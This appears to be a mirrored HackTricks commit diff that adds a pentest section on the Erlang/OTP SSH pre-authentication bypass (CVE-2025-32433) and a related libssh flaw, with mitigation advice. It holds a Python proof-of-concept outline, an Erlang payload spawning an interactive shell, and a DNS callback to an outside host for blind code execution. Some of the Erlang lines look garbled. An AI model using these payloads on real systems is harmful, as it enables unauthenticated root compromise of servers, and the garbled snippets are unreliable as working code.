mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Keys to the Kingdom: Erlang/OTP SSH Vulnerability Analysis a...
This commit is contained in:
parent
30fa8082d2
commit
c0c6dbc3db
@ -313,10 +313,69 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation.
|
||||
|
||||
At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc.
|
||||
|
||||
### Generic Exploitation Steps
|
||||
1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…).
|
||||
2. Craft a raw SSH packet:
|
||||
* 4-byte **packet_length** (big-endian)
|
||||
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Payload that will be understood by the chosen message type
|
||||
3. Send the packet(s) **before completing any authentication step**.
|
||||
4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …).
|
||||
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
# skip version exchange for brevity – send your own client banner then read server banner
|
||||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Root cause:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the *userauth* state.
|
||||
* **Impact:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices).
|
||||
|
||||
Example payload that spawns a reverse shell bound to the attacker-controlled channel:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Blind RCE / out-of-band detection can be performed via DNS:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
|
||||
Detection & Mitigation:
|
||||
* Inspect SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**.
|
||||
* Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer.
|
||||
* Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment.
|
||||
|
||||
---
|
||||
### Other Implementations Affected
|
||||
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepts an unauthenticated `SSH_MSG_USERAUTH_SUCCESS` sent by the client, effectively the inverse logic flaw.
|
||||
|
||||
The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to *state-machine enforcement*.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
|
@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I cite a page of HackTricks?**
|
||||
> - **How can I a page of HackTricks?**
|
||||
|
||||
As long as the link **of** the page(s) where you took the information from appears it's enough.\
|
||||
If you need a bibtex you can use something like:
|
||||
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user